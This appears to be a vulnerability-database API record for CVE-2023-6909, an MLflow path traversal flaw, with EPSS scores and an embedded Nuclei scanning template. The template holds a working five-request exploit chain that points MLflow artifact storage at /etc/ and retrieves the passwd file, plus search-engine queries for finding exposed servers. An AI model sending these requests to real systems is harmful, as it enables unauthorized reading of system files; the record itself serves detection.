{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-6909/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-6909/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-6909/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-6909/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-6909/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-6909"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-6909"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.89716,
      "kev": false,
      "percentile": 0.99786
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-6909.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-6909\n\ninfo:\n  name: Mlflow <2.9.2 - Path Traversal\n  author: Hyunsoo-ds\n  severity: high\n  description: |\n    Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.\n  impact: |\n    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.\n  remediation: |\n    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.\n  reference:\n    - https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-6909\n    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-6909\n    cwe-id: CWE-29\n    epss-score: 0.89716\n    epss-percentile: 0.99786\n    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: lfprojects\n    product: mlflow\n    shodan-query: \"http.title:\\\"mlflow\\\"\"\n    fofa-query:\n      - title=\"mlflow\"\n      - app=\"mlflow\"\n    google-query: intitle:\"mlflow\"\n  tags: cve,cve2023,mlflow,lfi,intrusive,lfprojects,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"name\" : \"{{randstr}}\", \"artifact_location\": \"http:///?/../../../../../../../../../../../../../../etc/\"}\n\n      - |\n        POST /api/2.0/mlflow/runs/create HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"experiment_id\": \"{{EXPERIMENT_ID}}\"}\n\n      - |\n        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"name\": \"{{randstr}}\"}\n\n      - |\n        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n\n        {\"name\" : \"{{randstr}}\", \"run_id\": \"{{RUN_ID}}\", \"source\" : \"file:///etc/\"}\n\n      - |\n        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: header_5\n        words:\n          - \"filename=passwd\"\n          - \"application/octet-stream\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        part: body_1\n        name: EXPERIMENT_ID\n        group: 1\n        json:\n          - '.experiment_id'\n        internal: true\n\n      - type: json\n        part: body_2\n        name: RUN_ID\n        group: 1\n        json:\n          - '.run.info.run_id'\n        internal: true\n# digest: 4a0a00473045022100df604c9ab6ac894389e1196fb1a331f5077590c79e2670bb488b57255b3ae19902200d6eeae29ddc3f1b832c664fc56e4b6deb05218db60a8012d5a214858cf4ef8c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-6909"
}